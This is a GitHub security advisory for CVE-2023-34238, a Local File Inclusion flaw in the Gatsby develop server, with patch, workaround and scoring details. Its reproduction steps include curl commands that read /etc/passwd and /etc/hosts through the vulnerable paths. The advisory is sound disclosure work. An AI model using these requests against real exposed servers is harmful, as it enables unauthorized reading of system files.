GHSA-c6f8-8r25-c4gc — medium GitHub Advisory (CVE-2023-34238) in npm/gatsby

Description

Impact

The Gatsby framework prior to versions 4.25.7 and 5.9.1 contain a Local File Inclusion vulnerability in the __file-code-frame and __original-stack-frame paths, exposed when running the Gatsby develop server (gatsby develop).

The following steps can be used to reproduce the vulnerability:

# Create a new Gatsby project
$ npm init gatsby
$ cd my-gatsby-site

# Start the Gatsby develop server
$ gatsby develop

# Execute the Local File Inclusion vulnerability in __file-code-frame
$ curl &quot;http://127.0.0.1:8000/__file-code-frame?filePath=/etc/passwd&amp;lineNumber=1&quot;

# Execute the Local File Inclusion vulnerability in __original-stack-frame
$ curl &quot;http://127.0.0.1:8000/__original-stack-frame?moduleId=/etc/hosts&amp;lineNumber=1&amp;skipSourceMap=1&quot;

It should be noted that by default gatsby develop is only accessible via the localhost 127.0.0.1, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as --host 0.0.0.0, -H 0.0.0.0, or the GATSBY_HOST=0.0.0.0 environment variable.

Patches

A patch has been introduced in [email protected] and [email protected] which mitigates the issue.

Workarounds

As stated above, by default gatsby develop is only exposed to the localhost 127.0.0.1. For those using the develop server in the default configuration no risk is posed. If other ranges are required, preventing the develop server from being exposed to untrusted interfaces or IP address ranges would mitigate the risk from this vulnerability.

We encourage projects to upgrade to the latest major release branch for all Gatsby plugins to ensure the latest security updates and bug fixes are received in a timely manner.

Credits

We would like to thank Maxwell Garrett of Assetnote for bringing the __file-code-frame issue to our attention.

For more information

Email us at [email protected].

Basic information

Type: reviewed
Severity: medium
Advisory on GitHub: Open advisory ↗
Repository advisory: Open repository advisory ↗
Source code: Browse source ↗
Published (advisory): 2023-06-09 22:52:01 UTC
Updated: 2023-11-11 05:06:34 UTC
GitHub reviewed: 2023-06-09 22:52:01 UTC
NVD published: 2023-06-07

Score	Percentile
0.63%	70.29%

CVSS Scores

Base score	Version	Severity	Vector
4.3	3.1	—	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` Click to expand Attack vector (AV:N) Could be attacked over the internet or any normal routed network—not just someone sitting at the machine. Attack complexity (AC:L) Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup. Privileges required (PR:L) A normal user session is enough; they don’t have to be admin. User interaction (UI:N) Nobody has to click “OK” or open a trap file; it can work without a victim helping. Scope (S:U) Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems. Confidentiality (C:L) Some sensitive info could get out, but not a total data dump. Integrity (I:N) Data isn’t meaningfully altered or forged. Availability (A:N) Service keeps running; no real outage angle.

Identifiers

Type	Value
GHSA	GHSA-c6f8-8r25-c4gc ↗
CVE	CVE-2023-34238 ↗

CWEs

CWE id	Name
CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected packages (2)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem	Package	Vulnerable range	First patched	Vulnerable functions
npm	gatsby	<= 4.25.6	4.25.7	—
npm	gatsby	>= 5.0.0, <= 5.9.0	5.9.1	—

Gatsby develop server has Local File Inclusion vulnerability